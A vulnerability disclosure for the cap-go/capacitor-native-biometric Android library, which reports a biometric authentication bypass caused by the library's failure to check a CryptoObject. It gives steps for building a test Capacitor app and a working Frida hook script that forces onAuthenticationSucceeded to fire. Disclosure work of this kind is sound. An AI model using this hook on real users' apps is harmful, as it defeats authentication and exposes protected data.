cap-go/capacitor-native-biometric Authentication Bypass

Summary

There is a potential issue with the [cap-go/capacitor-native-biometric](https://github.com/Cap-go/capacitor-native-biometric) library. --- ## Summary The [cap-go/capacitor-native-biometric](https://github.com/Cap-go/capacitor-native-biometric) library was found to be subject to an authentication bypass as the current implementation of the `onAuthenticationSucceeded()` does not appear to handle a `CryptoObject`[^HackTricks1] [^SecuringBiometricAuthentication] as seen in the following code block starting from [line 88 in AuthActivity.java](https://github.com/Cap-go/capacitor-native-biometric/blob/main/android/src/main/java/ee/forgr/biometric/AuthActivity.java#L88): ```java @Override public void onAuthenticationSucceeded( @NonNull BiometricPrompt.AuthenticationResult result ) { super.onAuthenticationSucceeded(result); finishActivity("success"); } ``` As the current implementation only checks whether `onAuthenticationSucceeded()` was called and does not handle a `CryptoObject` the biometric authentication can be bypassed by hooking the `onAuthenticationSucceeded()` function. ## PoC Video: https://github.com/user-attachments/assets/b7b5a2bc-21dc-4373-b371-84b002dae7a7 ## Environment: The following steps were taken to create and deploy a Capacitor application using the `cap-go/capacitor-native-biometric library` for the purpose of verifying this finding. Note at the time of writing the `npx create-react-app` command broke, so I have provided two ways of creating and deploying the testing environment. Apparently React updated to version 19 caused a dependency issue as seen [here](https://github.com/facebook/create-react-app/issues/13715). If it is not fixed by the time you look at this PoC please use the yarn alternatives. 1. Create a new Capacitor app by opening your terminal and run the following commands to create a new Capacitor app. For the sake of the disclosure I'll be using the name `capgo-poc`: ```sh npx create-react-app capgo-poc --template typescript ``` Yarn Alternative: ```sh npm install --global yarn yarn create react-app capgo-poc --template typescript ``` 2. Install dependencies by navigating into your app's directory and run the following command to install Capacitor's core dependencies: ```sh cd capgo-poc npm install @capacitor/core npm install @capacitor/cli npm install @capacitor/android npm install @capgo/capacitor-native-biometric npm install react ``` Yarn Alternative: ```sh cd capgo-poc yarn add @capacitor/core yarn add @capacitor/cli yarn add @capacitor/android yarn add @capgo/capacitor-native-biometric yarn add react ``` 3. Initialise the project using the name `capgo-poc` and `com.capgo.poc`, and add the android platform by running the following commands: ```sh npx cap init npx cap add android ``` 4. Configure the android permissions by opening the `android/app/src/main/AndroidManifest.xml` file and add the necessary permissions: ```xml <uses-permission android:name="android.permission.USE_BIOMETRIC" /> <uses-permission android:name="android.permission.USE_FINGERPRINT" /> ``` 5. Implement Biometric Authentication, here is some basic code to use the biometric authentication feature. Modify the TSX file called `App.tsx` in `src/` and import the following code: ```js import React, { useState } from 'react'; import { NativeBiometric } from '@capgo/capacitor-native-biometric'; const App = () => { // State to hold authentication status const [authStatus, setAuthStatus] = useState<string | null>(null); // Function to authenticate the user const authenticateUser = async () => { try { const result = await NativeBiometric.verifyIdentity({ reason: 'For an application access', title: 'Log in', subtitle: '', description: 'Verify yourself by biometrics', useFallback: true, maxAttempts: 3, }).then(() => true) .catch(() => false); if (!result) { setAuthStatus('failed'); } else { setAuthStatus('success'); } } catch (error) { console.error('Error during biometric verification:', error); setAuthStatus('error'); } }; return ( <div> <h1>CAP-GO Capacitor Native Biometric Authentication</h1> <button onClick={authenticateUser}>Authenticate with Biometrics</button> {/* Conditionally render based on authentication status */} {authStatus === 'success' && <h2>CAP-GO Capacitor Native Biometric Authentication Success</h2>} {authStatus === 'failed' && <h2>CAP-GO Capacitor Native Biometric Authentication Failed</h2>} {authStatus === 'error' && <h2>Error during authentication</h2>} </div> ); }; export default App; ``` 6. Build the React project, synchronise it with the Android platform, and open the native Android project in Android Studio by running the following commands: ```sh npm run build npx cap sync android npx cap open android ``` Yarn alternative: ```sh yarn build npx cap sync android npx cap open android ``` ## Exploitation: For the purpose of demonstrating the vulnerability we will be using frida and a rooted emulator from android studio. Frida is a dynamic instrumentation toolkit used as part of pentesting mobile applications [^frida]. Note that a rooted emulator is not necessary, but is being used for simplicity to demonstrate the vulnerability. 1. Copy the below frida script to a JavaScript file and run it to hook the `onAuthenticationSucceeded()` function, abusing the `null CryptoObject`. This can be done by running the following command: ```sh frida -U -l <PAYLOAD> -n 'capgo-poc' ``` ### Payload ```js Java.perform(function () { hookBiometricPrompt(); }); function getBiometricAuthResult(resultObj, cryptoInst) { var authenticationResultInst = resultObj.$new(cryptoInst, 0); return authenticationResultInst; }; function getBiometricPromptResult() { var cryptoObj = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject'); var cryptoInst = cryptoObj.$new(null); var authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult'); var authenticationResultInst = getBiometricAuthResult(authenticationResultObj, cryptoInst); return authenticationResultInst }; function hookBiometricPrompt() { var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback'); console.log("Hooking BiometricPrompt.authenticate()..."); biometricPrompt.implementation = function (cancellationSignal, executor, callback) { var authenticationResultInst = getBiometricPromptResult(); callback.onAuthenticationSucceeded(authenticationResultInst); } }; ``` [^SecuringBiometricAuthentication]: https://www.kayssel.com/post/android-8/ [^HackTricks1]: https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android#method-1-bypassing-with-no-crypto-object-usage [^frida]: https://frida.re/